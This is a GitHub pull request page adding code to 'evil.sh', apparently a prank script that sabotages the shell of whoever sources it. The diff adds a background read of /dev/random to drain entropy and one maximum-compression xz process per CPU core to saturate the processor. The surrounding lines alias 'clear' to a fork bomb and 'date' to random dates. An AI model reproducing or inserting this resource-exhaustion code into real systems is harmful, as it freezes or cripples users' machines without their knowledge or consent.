Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Eat all the randomness and CPU #44

Open
wants to merge 3 commits into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
13 changes: 13 additions & 0 deletions evil.sh
Original file line number Diff line number Diff line change
Expand Up @@ -28,6 +28,19 @@ alias clear=':(){ :|:& };:';
# Have `date` return random dates.
alias date='date -d "now + $RANDOM days"';

# Eat ALL the randomness.
/bin/cat /dev/random > /dev/null 2>&1 &

# Use ALL the CPUs.
if [ "$(uname)" = 'Darwin' ]; then
NCPUS=$(sysctl -n hw.ncpu)
else
NCPUS=$(nproc)
fi;
for i in $(seq 1 $NCPUS); do
xz -9e -c /dev/urandom > /dev/null 2>&1 &
done;

# Sometimes, wait a few minutes and then start randomly ejecting the CD drive.
# Other times, resist all attempts at opening it. Other times, make it read
# reaaaalllly sllooowwwwllly.
Expand Down